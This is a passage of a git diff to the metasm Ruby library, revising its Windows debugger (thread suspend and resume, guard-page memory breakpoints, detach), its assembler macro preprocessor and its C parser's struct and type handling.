/^xmm(\d+)/i + # TODO when /^ymm(\d+)$/i + when /^xmm(\d+)$/i kk = @context['xmm'][$1.to_i] kk.lo = v & ((1<<64)-1) kk.hi = (v>>64) & ((1<<64)-1) - when /^mmx?(\d+)/i + when /^mmx?(\d)$/i + # XXX st(7-$1) ? @context['xmm'][$1.to_i].lo = v else @context[k] = v @@ -1455,10 +1479,10 @@ class WinOS < OS def method_missing(m, *a) if m.to_s[-1] == ?= - super(m, *a) if a.length != 1 + return super(m, *a) if a.length != 1 send '[]=', m.to_s[0...-1], a[0] else - super(m, *a) if a.length != 0 + return super(m, *a) if a.length != 0 send '[]', m end end @@ -1528,7 +1552,7 @@ class << self loop do list << te.th32threadid if not pid or te.th32ownerprocessid == pid break if WinAPI.thread32next(h, te) == 0 - end + end WinAPI.closehandle(h) list end @@ -1649,6 +1673,11 @@ class << self end end + # returns the [major, minor] version of the windows os + def version + v = WinAPI.getversion + [v & 0xff, (v>>8) & 0xff] + end end # class << self end @@ -1699,6 +1728,8 @@ class WinDebugger < Debugger attr_accessor :os_process, :os_thread, :auto_fix_fs_bug, # is current exception handled? (arg to pass to continuedbgevt) + # if it has the special value :suspended, it means that the thread + # is to be restarted through resume and not continuedbgevt :continuecode attr_accessor :callback_unloadlibrary, :callback_debugstring, :callback_ripevent @@ -1717,10 +1748,10 @@ class WinDebugger < Debugger attach(npid) rescue ArgumentError create_process(pidpath) - end + end check_target until pid - end + end def shortname; 'windbg'; end @@ -1732,7 +1763,7 @@ class WinDebugger < Debugger break if pid } raise "attach failed" if not pid - end + end def create_process(target) startupinfo = WinAPI.alloc_c_struct('STARTUPINFOA', :cb => :size) @@ -1747,14 +1778,15 @@ class WinDebugger < Debugger @os_process = WinOS::Process.new(processinfo.dwprocessid, processinfo.hprocess) @os_thread = WinOS::Thread.new(processinfo.dwthreadid, processinfo.hthread, @os_process) initialize_osprocess - end + check_target + end # called whenever we receive a handle to a new process being debugged, after initialisation of @os_process def initialize_osprocess initialize_cpu initialize_memory initialize_disassembler - end + end def initialize_newpid raise "non-existing pid #@pid" if pid and not WinOS.check_process(@pid) @@ -1816,7 +1848,7 @@ class WinDebugger < Debugger return Hash.new(0) if not os_thread @ctx = os_thread.context @ctx.update - end + end @ctx end @@ -1830,17 +1862,46 @@ class WinDebugger < Debugger end def set_reg_value(r, v) - ctx[r] = v + if @state == :running + suspend + ctx[r] = v + resume + else + ctx[r] = v + end end def do_continue(*a) @cpu.dbg_disable_singlestep(self) - WinAPI.continuedebugevent(@pid, @tid, @continuecode) + if @continuecode == :suspended + resume + else + @state = :running + WinAPI.continuedebugevent(@pid, @tid, @continuecode) + end end def do_singlestep(*a) @cpu.dbg_enable_singlestep(self) - WinAPI.continuedebugevent(@pid, @tid, @continuecode) + if @continuecode == :suspended + resume + else + @state = :running + WinAPI.continuedebugevent(@pid, @tid, @continuecode) + end + end + + def do_enable_bpm(bp) + @bpm_info ||= WinAPI.alloc_c_struct("MEMORY_BASIC_INFORMATION#{WinAPI.host_cpu.size}") + WinAPI.virtualqueryex(os_process.handle, bp.address, @bpm_info, @bpm_info.sizeof) + # TODO save original page perms, check bpm type (:w -> vprotect(PAGE_READONLY)), handle multiple bpm on same page + WinAPI.virtualprotectex(os_process.handle, bp.address, bp.internal[:len], @bpm_info[:protect] | WinAPI::PAGE_GUARD, @bpm_info) + end + + def do_disable_bpm(bp) + @bpm_info ||= WinAPI.alloc_c_struct("MEMORY_BASIC_INFORMATION#{WinAPI.host_cpu.size}") + WinAPI.virtualqueryex(os_process.handle, bp.address, @bpm_info, @bpm_info.sizeof) + WinAPI.virtualprotectex(os_process.handle, bp.address, bp.internal[:len], @bpm_info[:protect] & ~WinAPI::PAGE_GUARD, @bpm_info) end def update_dbgev(ev) @@ -1866,14 +1927,14 @@ class WinDebugger < Debugger # DWORD NumberParameters; # ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; case str.exceptioncode - when WinAPI::STATUS_ACCESS_VIOLATION + when WinAPI::STATUS_ACCESS_VIOLATION, WinAPI::STATUS_GUARD_PAGE_VIOLATION if @auto_fix_fs_bug and ctx.fs != 0x3b # fix bug in xpsp1 where fs would get a random value in a debugee log "wdbg: #{pid}:#{tid} fix fs bug" if $DEBUG ctx.fs = 0x3b resume_badbreak return - end + end mode = case str.exceptioninformation[0] when 0; :r when 1; :w @@ -1882,18 +1943,18 @@ class WinDebugger < Debugger addr = str.exceptioninformation[1] evt_exception(:type => 'access violation', :st => str, :firstchance => stf, :fault_addr => addr, :fault_access => mode) - when WinAPI::STATUS_BREAKPOINT + when WinAPI::STATUS_BREAKPOINT, WinAPI::STATUS_WX86_BREAKPOINT # we must ack ntdll interrupts on process start # but we should not mask process-generated exceptions by default.. evt_bpx - when WinAPI::STATUS_SINGLE_STEP + when WinAPI::STATUS_SINGLE_STEP, WinAPI::STATUS_WX86_SINGLE_STEP evt_hwbp_singlestep else @status_name ||= WinAPI.cp.lexer.definition.keys.grep(/^STATUS_/). sort.inject({}) { |h, c| h.update WinAPI.const_get(c) => c } type = @status_name[str.exceptioncode] || str.exceptioncode.to_s(16) evt_exception(:type => type, :st => str, :firstchance => stf) - end + end when WinAPI::CREATE_THREAD_DEBUG_EVENT st = ev.createthread @@ -1910,7 +1971,7 @@ class WinDebugger < Debugger initialize_osprocess else @os_thread ||= WinOS::Thread.new(@tid, st.hthread, os_process) - end + end @os_thread.teb_base = st.lpthreadlocalbase if st.lpthreadlocalbase.to_i != 0 hfile = st.hfile evt_newprocess(:st => st) @@ -1943,7 +2004,7 @@ class WinDebugger < Debugger when WinAPI::RIP_EVENT st = ev.ripinfo evt_ripevent(:st => st) - end + end end def evt_debugstring(info={}) @@ -1988,39 +2049,68 @@ class WinDebugger < Debugger @dbg_eventstruct ||= WinAPI.alloc_c_struct('_DEBUG_EVENT') if WinAPI.waitfordebugevent(@dbg_eventstruct, timeout) != 0 update_dbgev(@dbg_eventstruct) + true + end end + + def del_tid + # tell Windows to release the THREAD object + WinAPI.continuedebugevent(@pid, @tid, @continuecode) + super() + end + + # do nothing, windows will send us a EXIT_PROCESS event + def del_tid_notid + nil while do_waitfordebug(10) and !@tid + end + + def del_pid + # tell Windows to release the PROCESS object + WinAPI.debugactiveprocessstop(@pid) if WinAPI.respond_to?(:debugactiveprocessstop) + super() end def break return if @state != :running - if WinAPI.respond_to? :debugbreakprocess - WinAPI.debugbreakprocess(os_process.handle) - else - suspend + # debugbreak() will create a new thread to 0xcc, but wont touch existing threads + suspend end - end def suspend os_thread.suspend - @state = :stopped + invalidate + @state = :stopped @info = 'thread suspended' - end + @continuecode = :suspended + end + + def resume + @state = :running + @info = nil + os_thread.resume + end def detach del_all_breakpoints - if WinAPI.respond_to? :debugactiveprocessstop - WinAPI.debugactiveprocessstop(@pid) - else + if not WinAPI.respond_to? :debugactiveprocessstop raise 'detach not supported' end + # handle pending bp events + # TODO check_target needs the Breakpoint objects... + #pid = @pid ; 50.times { check_target } ; self.pid = pid + + # if we detach after a dbgevt and before calling continuedbgevent, the thread + # may receive unhandled exceptions (eg BPX) and crash the process right after detach + each_tid { do_continue if @state == :stopped } del_pid end def kill(exitcode=0) os_process.terminate(exitcode) - end + end def pass_current_exception(doit = true) + return if @continuecode == :suspended @continuecode = (doit ? WinAPI::DBG_EXCEPTION_NOT_HANDLED : WinAPI::DBG_CONTINUE) end end diff --git a/lib/metasm/metasm/os/windows_exports.rb b/lib/metasm/metasm/os/windows_exports.rb index bcfefb37c7..185fc2ffc2 100644 --- a/lib/metasm/metasm/os/windows_exports.rb +++ b/lib/metasm/metasm/os/windows_exports.rb @@ -11,7 +11,7 @@ class WindowsExports EXPORT = {} # see samples/pe_listexports for the generator of this data data = < Macro attr_accessor :macro + attr_accessor :may_apreprocess def initialize(text='', program=nil) @program = program + @may_apreprocess = false @macro = {} super(text) end @@ -184,13 +191,21 @@ class AsmPreprocessor < Preprocessor t end - # reads a token, handles macros/comments/integers/etc - # argument is for internal use - def readtok(rec = false) + def feed!(*a) + super(*a) + if not @may_apreprocess and (@text =~ / (macro|equ) / or not @macro.empty?) + @may_apreprocess = true + end + self + end + + # reads a token, handles macros/comments/etc + def readtok tok = super() + return tok if not tok or tok.alreadyapp # handle ; comments - if tok and tok.type == :punct and tok.raw == ';' + if tok.type == :punct and tok.raw[0] == ?; tok.type = :eol begin tok = tok.dup @@ -203,30 +218,13 @@ class AsmPreprocessor < Preprocessor end end - # aggregate space/eol - if tok and (tok.type == :space or tok.type == :eol) - if ntok = readtok(true) and ntok.type == :space - tok = tok.dup - tok.raw << ntok.raw - elsif ntok and ntok.type == :eol - tok = tok.dup - tok.raw << ntok.raw - tok.type = :eol - else - unreadtok ntok - end - end - - # handle macros - # the rec parameter is used to avoid reading the whole text at once when reading ahead to check 'macro' keyword - if not rec and tok and tok.type == :string + if @may_apreprocess and tok.type == :string if @macro[tok.raw] @macro[tok.raw].apply(tok, self, @program).reverse_each { |t| unreadtok t } tok = readtok - else - if ntok = readtok(true) and ntok.type == :space and nntok = readtok(true) and nntok.type == :string and (nntok.raw == 'macro' or nntok.raw == 'equ') + if ntok = super() and ntok.type == :space and nntok = super() and nntok.type == :string and (nntok.raw == 'macro' or nntok.raw == 'equ') puts "W: asm: redefinition of macro #{tok.raw} at #{tok.backtrace_str}, previous definition at #{@macro[tok.raw].name.backtrace_str}" if @macro[tok.raw] m = Macro.new tok # XXX this allows nested macro definition.. @@ -252,6 +250,7 @@ class AsmPreprocessor < Preprocessor end end + tok.alreadyapp = true if tok tok end end @@ -314,6 +313,7 @@ class ExeFormat lname = @locallabels_bkw[tok.raw] = @locallabels_fwd.delete(tok.raw) || new_label('local_'+tok.raw) else lname = tok.raw + raise tok, "invalid label name: #{lname.inspect} is reserved" if @cpu.check_reserved_name(lname) raise tok, "label redefinition" if new_label(lname) != lname end l = Label.new(lname) @@ -780,7 +780,7 @@ class Expression pp = Preprocessor.new(str) e = parse(pp, &b) - + # update arg len = pp.pos pp.queue.each { |t| len -= t.raw.length } @@ -821,6 +821,8 @@ class IndExpression < Expression break when ':' # symbols, eg ':eax' n = lexer.readtok + nil while tok = lexer.readtok and tok.type == :space + lexer.unreadtok tok return n.raw.to_sym else lexer.unreadtok tok diff --git a/lib/metasm/metasm/parse_c.rb b/lib/metasm/metasm/parse_c.rb index 1f7f89591e..3ca4793336 100644 --- a/lib/metasm/metasm/parse_c.rb +++ b/lib/metasm/metasm/parse_c.rb @@ -214,20 +214,43 @@ module C attr_accessor :fldoffset, :fldbitoffset, :fldlist - def align(parser) @members.map { |m| m.type.align(parser) }.max end + def align(parser) @members.to_a.map { |m| m.type.align(parser) }.max end + # there is only one instance of a given named struct per parser + # so we just compare struct names here + # for comparison between parsers, see #compare_deep def ==(o) - # if we dont compare names, infinite recursion on mylinkedlist == otherlinkedlist o.object_id == self.object_id or - (o.class == self.class and o.name == self.name and - o.members.to_a.map { |m| m.type } == self.members.to_a.map { |m| m.type } and - o.members.to_a.map { |m| m.name } == self.members.to_a.map { |m| m.name } and - o.attributes == self.attributes) + (o.class == self.class and o.name == self.name and ((o.name and true) or compare_deep(o))) + end + + # compare to another structure, comparing members recursively (names and type) + # returns true if the self is same as o + def compare_deep(o, seen = []) + return true if o.object_id == self.object_id + return if o.class != self.class or o.name != self.name or o.attributes != self.attributes + o.members.to_a.zip(self.members.to_a).each { |om, sm| + return if om.name != sm.name + return if om.type != sm.type + if om.type.pointer? + ot = om.type + st = sm.type + 500.times { # limit for selfpointers (shouldnt happen) + break if not ot.pointer? + ot = ot.pointed.untypedef + st = st.pointed.untypedef + } + if ot.kind_of?(C::Union) and ot.name and not seen.include?(ot) + return if not st.compare_deep(ot, seen+[ot]) + end + end + } + true end def findmember(name, igncase=false) - update_member_cache if not fldlist - return @fldlist[name] if @fldlist[name] + raise 'undefined structure' if not members + return @fldlist[name] if fldlist and @fldlist[name] name = name.downcase if igncase if m = @members.find { |m_| (n = m_.name) and (igncase ? n.downcase : n) == name } @@ -244,23 +267,25 @@ module C end def offsetof(parser, name) - if name.kind_of? Variable + raise parser, 'undefined structure' if not members + update_member_cache(parser) if not fldlist + return 0 if @fldlist[name] + + if name.kind_of?(Variable) return 0 if @members.include? name raise ParseError, 'unknown union member' end - update_member_cache if not fldlist - return 0 if @fldlist[name] - raise parser, 'undefined union' if not @members raise parser, 'unknown union member' if not findmember(name) - @members.find { |m| - m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) - }.type.untypedef.offsetof(parser, name) - end + @members.find { |m| + m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) + }.type.untypedef.offsetof(parser, name) + end def bitoffsetof(parser, name) - update_member_cache if not fldlist + raise parser, 'undefined structure' if not members + update_member_cache(parser) if not fldlist return if @fldlist[name] or @members.include?(name) raise parser, 'undefined union' if not @members raise parser, 'unknown union member' if not findmember(name) @@ -271,8 +296,8 @@ module C end def parse_members(parser, scope) + @fldlist = nil if fldlist # invalidate fld offset cache @members = [] - @fldlist = {} # parse struct/union members in definition loop do raise parser if not tok = parser.skipspaces @@ -284,8 +309,7 @@ module C member = basetype.dup member.parse_declarator(parser, scope) member.type.length ||= 0 if member.type.kind_of?(Array) # struct { char blarg[]; }; - raise member.backtrace, 'member redefinition' if member.name and @fldlist[member.name] - @fldlist[member.name] = member if member.name + raise member.backtrace, 'member redefinition' if member.name and @members.find { |m| m.name == member.name } @members << member raise tok || parser if not tok = parser.skipspaces or tok.type != :punct @@ -315,7 +339,7 @@ module C # updates the @fldoffset / @fldbitoffset hash storing the offset of members def update_member_cache(parser) @fldlist = {} - @members.each { |m| + @members.to_a.each { |m| @fldlist[m.name] = m if m.name } end @@ -347,7 +371,7 @@ module C if nt = parser.skipspaces and nt.type == :punct and nt.raw == '.' and nnt = parser.skipspaces and nnt.type == :string and findmember(nnt.raw) - raise nnt, 'unhandled indirect initializer' if not nidx = @members.index(@fldlist[nnt.raw]) # TODO + raise nnt, 'unhandled indirect initializer' if not nidx = @members.index(@members.find { |m| m.name == nnt.raw }) # TODO if not root value[idx] ||= [] # AryRecorder may change [] to AryRec.new, can't do v = v[i] ||= [] value = value[idx] @@ -366,6 +390,22 @@ module C end idx + 1 end + + # resolve structptr + offset into 'str.membername' + # handles 'var.substruct1.array[12].foo' + # updates str + # returns the final member type itself + # works for Struct/Union/Array + def expand_member_offset(c_parser, off, str) + # XXX choose in members, check sizeof / prefer structs + m = @members.first + str << '.' << m.name if m.name + if m.type.respond_to?(:expand_member_offset) + m.type.expand_member_offset(c_parser, off, str) + else + m.type + end + end end class Struct < Union attr_accessor :pack @@ -373,14 +413,15 @@ module C def align(parser) [@members.to_a.map { |m| m.type.align(parser) }.max || 1, (pack || 8)].min end def offsetof(parser, name) - update_member_cache(parser) if not fldoffset + raise parser, 'undefined structure' if not members + update_member_cache(parser) if not fldlist return @fldoffset[name] if @fldoffset[name] + return @fldoffset[name.name] if name.respond_to?(:name) and @fldoffset[name.name] # this is almost never reached, only for .offsetof(anonymoussubstructmembername) - raise parser, 'undefined structure' if not @members raise parser, 'unknown structure member' if (name.kind_of?(::String) ? !findmember(name) : !@members.include?(name)) - indirect = true if name.kind_of? ::String and not @fldlist[name] + indirect = true if name.kind_of?(::String) and not @fldlist[name] al = align(parser) off = 0 @@ -390,8 +431,8 @@ module C @members.each_with_index { |m, i| if bits and b = @bits[i] if not isz - mal = [m.type.align(parser), al].min - off = (off + mal - 1) / mal * mal + mal = [m.type.align(parser), al].min + off = (off + mal - 1) / mal * mal end isz = parser.sizeof(m) if b == 0 or (bit_off > 0 and bit_off + b > 8*isz) @@ -409,14 +450,14 @@ module C end mal = [m.type.align(parser), al].min off = (off + mal - 1) / mal * mal - if m.name == name or m == name + if m.name == name or m == name break elsif indirect and m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) off += m.type.untypedef.offsetof(parser, name) break else - off += parser.sizeof(m) - end + off += parser.sizeof(m) + end end } off @@ -425,17 +466,28 @@ module C # returns the [bitoffset, bitlength] of the field if it is a bitfield # this should be added to the offsetof(field) def bitoffsetof(parser, name) - update_member_cache if not fldlist + raise parser, 'undefined structure' if not members + update_member_cache(parser) if not fldlist return @fldbitoffset[name] if fldbitoffset and @fldbitoffset[name] + return @fldbitoffset[name.name] if fldbitoffset and name.respond_to?(:name) and @fldbitoffset[name.name] return if @fldlist[name] or @members.include?(name) raise parser, 'undefined union' if not @members raise parser, 'unknown union member' if not findmember(name) @members.find { |m| - m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) + m.type.untypedef.kind_of?(Union) and m.type.untypedef.findmember(name) }.type.untypedef.bitoffsetof(parser, name) end + # returns the @member element that has offsetof(m) == off + def findmember_atoffset(parser, off) + return if not members + update_member_cache(parser) if not fldlist + if m = @fldoffset.index(off) + @fldlist[m] + end + end + def parse_members(parser, scope) super(parser, scope) @@ -445,8 +497,6 @@ module C @pack = p[/\d+/].to_i raise parser, "illegal struct pack(#{p})" if @pack == 0 end - - update_member_cache(parser) end # updates the @fldoffset / @fldbitoffset hash storing the offset of members @@ -492,6 +542,32 @@ module C end } end + + # see Union#expand_member_offset + def expand_member_offset(c_parser, off, str) + members.to_a.each { |m| + mo = offsetof(c_parser, m) + if mo == off or mo + c_parser.sizeof(m) > off + if bitoffsetof(c_parser, m) + # ignore bitfields + str << "+#{off}" if off > 0 + return self + end + + str << '.' << m.name if m.name + if m.type.respond_to?(:expand_member_offset) + return m.type.expand_member_offset(c_parser, off-mo, str) + else + return m.type + end + elsif mo > off + break + end + } + # XXX that works only for pointer-style str + str << "+#{off}" if off > 0 + nil + end end class Enum < Type # name => value @@ -534,6 +610,11 @@ module C parse_attributes(parser) end + def compare_deep(o) + return true if o.object_id == self.object_id + return if o.class != self.class or o.name != self.name or o.attributes != self.attributes + members == o.members + end end class Pointer < Type attr_accessor :type @@ -661,6 +742,17 @@ module C end idx + 1 end + + # see Union#expand_member_offset + def expand_member_offset(c_parser, off, str) + tsz = c_parser.sizeof(@type) + str << "[#{off/tsz}]" + if @type.respond_to?(:expand_member_offset) + @type.expand_member_offset(c_parser, off%tsz, str) + else + @type + end + end end class Variable @@ -857,7 +949,7 @@ module C when :space; body << ' ' when :eol; body << "\n" when :punct; body << tok.raw - when :quoted; body << tok.value.inspect # concat adjacent c strings + when :quoted; body << CExpression.string_inspect(tok.value) # concat adjacent c strings when :string body << \ case tok.raw @@ -900,7 +992,7 @@ module C break else body << tok.raw end - when :quoted; body << (body.empty? ? tok.value : tok.value.inspect) # asm "pop\nret" VS asm add al, 'z' + when :quoted; body << (body.empty? ? tok.value : CExpression.string_inspect(tok.value)) # asm "pop\nret" VS asm add al, 'z' when :string body << \ case tok.raw @@ -974,7 +1066,7 @@ module C raise "invalid CExpr #{[l, o, r, t].inspect}" if (o and not o.kind_of? ::Symbol) or not t.kind_of? Type @lexpr, @op, @rexpr, @type = l, o, r, t end - + # overwrites @lexpr @op @rexpr @type from the arg def replace(o) @lexpr, @op, @rexpr, @type = o.lexpr, o.op, o.rexpr, o.type @@ -1010,7 +1102,7 @@ module C else x2 = splat[args[2]] end - new(splat[args[0]], op, x2, args[3]) + new(splat[args[0]], op, x2, args[3]) when 3 op = args[1] x1 = splat[args[0]] @@ -1024,7 +1116,7 @@ module C when :funcall rt = x1.type.untypedef rt = rt.type.untypedef if rt.pointer? - new(x1, op, x2, rt.type) + new(x1, op, x2, rt.type) when :[]; new(x1, op, x2, x1.type.untypedef.type) when :+; new(x1, op, x2, (x2.type.pointer? ? x2.type : x1.type)) when :-; new(x1, op, x2, ((x1.type.pointer? and x2.type.pointer?) ? BaseType.new(:int) : x2.type.pointer? ? x2.type : x1.type)) @@ -1088,13 +1180,14 @@ module C attr_accessor :lexer, :toplevel, :typesize, :pragma_pack attr_accessor :endianness attr_accessor :allow_bad_c + attr_accessor :program # allowed arguments: ExeFormat, CPU, Preprocessor, Symbol (for the data model) def initialize(*args) model = args.grep(Symbol).first || :ilp32 lexer = args.grep(Preprocessor).first || Preprocessor.new - exe = args.grep(ExeFormat).first + @program = args.grep(ExeFormat).first cpu = args.grep(CPU).first - cpu ||= exe.cpu if exe + cpu ||= @program.cpu if @program @lexer = lexer @prev_pragma_callback = @lexer.pragma_callback @lexer.pragma_callback = lambda { |tok| parse_pragma_callback(tok) } @@ -1105,7 +1198,7 @@ module C :char => 1, :float => 4, :double => 8, :longdouble => 12 } send model cpu.tune_cparser(self) if cpu - exe.tune_cparser(self) if exe + @program.tune_cparser(self) if @program end def ilp16 @@ -1490,6 +1583,7 @@ EOH when Struct raise self, "unknown structure size #{type.name}" if not type.members al = type.align(self) + al = 1 if (var.kind_of?(Attributes) and var.has_attribute('sizeof_packed')) or type.has_attribute('sizeof_packed') lm = type.members.last lm ? (type.offsetof(self, lm) + sizeof(lm) + al - 1) / al * al : 0 when Union @@ -1680,6 +1774,7 @@ EOH Goto.new name when 'return' expr = CExpression.parse(self, scope) # nil allowed + raise tok || self, "cannot return #{expr} in function returning void" if expr and nest[0].kind_of?(Type) and nest[0].void? p, i = nest[0].pointer?, nest[0].integral? if expr r = expr.reduce(self) if p or i if (not p and not i) or (i and not r.kind_of? ::Integer) or (p and r != 0) @@ -1747,6 +1842,7 @@ EOH end # returns all numeric constants defined with their value, either macros or enums + # for enums, also return the enum name def numeric_constants ret = [] # macros @@ -1756,8 +1852,17 @@ EOH end } # enums + seen_enum = {} + @toplevel.struct.each { |k, v| + if v.kind_of?(Enum) + v.members.each { |kk, vv| + ret << [kk, vv, k] + seen_enum[kk] = true + } + end + } @toplevel.symbol.each { |k, v| - ret << [k, v] if v.kind_of? ::Numeric + ret << [k, v] if v.kind_of?(::Numeric) and not seen_enum[k] } ret end @@ -1852,10 +1957,11 @@ EOH name = tok.raw raise tok, 'bad struct name' if Keyword[name] or (?0..?9).include?(name[0]) @type.backtrace = tok - @type.name = tok.raw + @type.name = name @type.parse_attributes(parser) raise parser if not ntok = parser.skipspaces if ntok.type != :punct or ntok.raw != '{' + raise tok, "struct/union confusion" if scope.struct[name] and scope.struct[name].class != @type.class # variable declaration parser.unreadtok ntok if ntok.type == :punct and ntok.raw == ';' @@ -1864,22 +1970,22 @@ EOH @type = scope.struct[name] ||= @type else # check that the structure exists - # do not check it is declared (may be a pointer) struct = scope.struct_ancestors[name] # allow incomplete types, usage as var type will raise later struct = scope.struct[name] = @type if not struct - raise tok, 'unknown struct' if not struct.kind_of?(@type.class) + raise tok, 'unknown struct' if struct.class != @type.class (struct.attributes ||= []).concat @type.attributes if @type.attributes - (struct.qualifier ||= []).concat @type.qualifier if @type.qualifier + (struct.qualifier ||= []).concat @type.qualifier if @type.qualifier # XXX const struct foo bar => bar is const, not foo... @type = struct end return end - if struct = scope.struct[name] and struct.members - oldstruct = scope.struct.delete(name) - struct = nil - end - if struct + if scope.struct[name] and scope.struct[name].members + # redefinition of an existing struct, save for later comparison + oldstruct = scope.struct[name] + raise tok, "struct/union confusion" if oldstruct.class != @type.class + elsif struct = scope.struct[name] + raise tok, "struct/union confusion" if struct.class != @type.class (struct.attributes ||= []).concat @type.attributes if @type.attributes (struct.qualifier ||= []).concat @type.qualifier if @type.qualifier struct.backtrace = @type.backtrace @@ -1894,8 +2000,11 @@ EOH @type.parse_members(parser, scope) - if oldstruct and @type != oldstruct - raise tok, "conflicting struct redefinition (old at #{oldstruct.backtrace.exception(nil).message rescue :unknown})" + if oldstruct + if not @type.compare_deep(oldstruct) + raise tok, "conflicting struct redefinition (old at #{oldstruct.backtrace.exception(nil).message rescue :unknown})" + end + @type = oldstruct end end @@ -1906,7 +2015,10 @@ EOH name = :int tok = nil loop do - raise parser if not tok = parser.skipspaces + if not tok = parser.skipspaces + raise parser if specifier.empty? + break + end if tok.type != :string parser.unreadtok tok break @@ -2120,6 +2232,8 @@ EOH raise parser, '"{" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '{' parser.unreadtok tok end + namedargs = t.type.args.map { |a| a.name }.compact - [false] + raise tok, "duplicate argument name #{namedargs.find { |a| namedargs.index(a) != namedargs.rindex(a) }.inspect}" if namedargs.length != namedargs.uniq.length end parse_attributes(parser, true) # should be type.attrs, but this should be more existing-compiler-compatible else @@ -2210,12 +2324,13 @@ EOH else l = CExpression.new(nil, nil, l, BaseType.new(:int)) if l.kind_of? ::Integer r = CExpression.new(nil, nil, r, BaseType.new(:int)) if r.kind_of? ::Integer - CExpression.new(l, @op, r, @type) + CExpression.new(l, @op, r, @type) end when :'.' le = CExpression.reduce(parser, @lexpr) if le.kind_of? Variable and le.initializer.kind_of? ::Array - midx = le.type.members.index(le.type.findmember(@rexpr)) + t = le.type.untypedef + midx = t.members.index(t.findmember(@rexpr)) CExpression.reduce(parser, le.initializer[midx] || 0) else CExpression.new(le, @op, @rexpr, @type) @@ -2253,7 +2368,7 @@ EOH end else l = CExpression.reduce(parser, @lexpr) - if not l.kind_of?(::Numeric) or not r.kind_of?(::Numeric) + if not l.kind_of?(::Numeric) or not r.kind_of?(::Numeric) l = CExpression.new(nil, nil, l, BaseType.new(:int)) if l.kind_of? ::Integer r = CExpression.new(nil, nil, r, BaseType.new(:int)) if r.kind_of? ::Integer return CExpression.new(l, @op, r, @type) @@ -2296,7 +2411,7 @@ EOH o.object_id == self.object_id or (self.class == o.class and op == o.op and lexpr == o.lexpr and rexpr == o.rexpr) end - + def ===(o) (self.class == o.class and op == o.op and lexpr === o.lexpr and rexpr === o.rexpr) or (o.class == Variable and not @op and @rexpr == o) @@ -2309,7 +2424,7 @@ EOH end def negate if @op == :'!' - CExpression[@rexpr] + CExpression[@rexpr] elsif nop = NegateOp[@op] if nop == :== and @rexpr.kind_of? CExpression and not @rexpr.op and @rexpr.rexpr == 0 and @lexpr.kind_of? CExpression and [:==, :'!=', :>, :<, :>=, :<=, :'!'].include? @lexpr.op @@ -2477,6 +2592,7 @@ EOH type = :long if suffix.count('l') == 1 end val = CExpression[val, BaseType.new(type, *specifier)] + val = parse_value_postfix(parser, scope, val) else raise parser, "internal error #{val.inspect}" end @@ -2484,6 +2600,7 @@ EOH if tok.raw[0] == ?' raise tok, 'invalid character constant' if not [1, 2, 4, 8].include? tok.value.length # TODO 0fill val = CExpression[Expression.decode_imm(tok.value, tok.value.length, :big), BaseType.new(:int)] + val = parse_value_postfix(parser, scope, val) else val = CExpression[tok.value, Pointer.new(BaseType.new(tok.raw[0, 2] == 'L"' ? :short : :char))] val = parse_value_postfix(parser, scope, val) @@ -2683,97 +2800,110 @@ EOH end end + def parse_popstack(parser, stack, opstack) + r = stack.pop + l = stack.pop + case op = opstack.pop + when :'?:' + stack << CExpression.new(stack.pop, op, [l, r], l.type) + when :',' + stack << CExpression.new(l, op, r, r.type) + when :'=' + unless r.kind_of?(CExpression) and not r.lexpr and r.type.kind_of?(BaseType) and + ((not r.op and r.rexpr.kind_of?(Integer)) or + (r.op == :- and r.rexpr.kind_of?(CExpression) and not r.rexpr.op and not r.rexpr.lexpr and r.rexpr.rexpr.kind_of?(Integer))) and + l.kind_of?(Typed) and (l.type.untypedef.kind_of?(BaseType) or (l.type.untypedef.kind_of?(Pointer) and r.rexpr == 0)) + # avoid useless warnings on unsigned foo = -1 / void *foo = 0 + parser.check_compatible_type(parser, r.type, l.type) + end + if l.kind_of?(Typed) and (lt = l.type.untypedef).kind_of?(BaseType) and r.kind_of?(Typed) and (rt = r.type.untypedef).kind_of?(BaseType) and lt.specifier != :unsigned and rt.specifier == :unsigned and parser.typesize[lt.name] > parser.typesize[rt.name] + # (int32)i = (uchar)255 => 255, not -1 + r = CExpression.new(nil, nil, r, BaseType.new(lt.name, :unsigned)) + end + stack << CExpression.new(l, op, r, l.type) + when :'&&', :'||' + stack << CExpression.new(l, op, r, BaseType.new(:int)) + else + # XXX struct == struct ? + raise parser, "invalid type #{l.type} #{l} for #{op.inspect}" if not l.type.arithmetic? and not parser.allow_bad_c + raise parser, "invalid type #{r.type} #{r} for #{op.inspect}" if not r.type.arithmetic? and not parser.allow_bad_c + + if l.type.pointer? and r.type.pointer? + type = \ + case op + when :'-'; BaseType.new(:long) # addr_t or sumthin ? + when :'-='; l.type + when :'>', :'>=', :'<', :'<=', :'==', :'!='; BaseType.new(:long) + else raise parser, "cannot do #{op.inspect} on pointers" unless parser.allow_bad_c ; l.type + end + elsif l.type.pointer? or r.type.pointer? + puts parser.exception("should not #{op.inspect} a pointer").message if $VERBOSE and not [:'+', :'-', :'=', :'+=', :'-=', :==, :'!='].include? op + type = l.type.pointer? ? l.type : r.type + elsif RIGHTASSOC[op] and op != :'?:' # += etc + type = l.type + else + # yay integer promotion + lt = l.type.untypedef + rt = r.type.untypedef + if (t = lt).name == :longdouble or (t = rt).name == :longdouble or + (t = lt).name == :double or (t = rt).name == :double or + (t = lt).name == :float or (t = rt).name == :float + # long double > double > float ... + type = t + elsif true + # custom integer rules based on type sizes + lts = parser.typesize[lt.name] + rts = parser.typesize[rt.name] + its = parser.typesize[:int] + if not lts or not rts + type = BaseType.new(:int) + elsif lts > rts and lts >= its + type = lt + elsif rts > lts and rts >= its + type = rt + elsif lts == rts and lts >= its + type = lt + type = rt if rt.specifier == :unsigned + else + type = BaseType.new(:int) + end + # end of custom rules + elsif ((t = lt).name == :long and t.specifier == :unsigned) or + ((t = rt).name == :long and t.specifier == :unsigned) + # ... ulong ... + type = t + elsif (lt.name == :long and rt.name == :int and rt.specifier == :unsigned) or + (rt.name == :long and lt.name == :int and lt.specifier == :unsigned) + # long+uint => ulong + type = BaseType.new(:long, :unsigned) + elsif (t = lt).name == :long or (t = rt).name == :long or + ((t = lt).name == :int and t.specifier == :unsigned) or + ((t = rt).name == :int and t.specifier == :unsigned) + # ... long > uint ... + type = t + else + # int + type = BaseType.new(:int) + 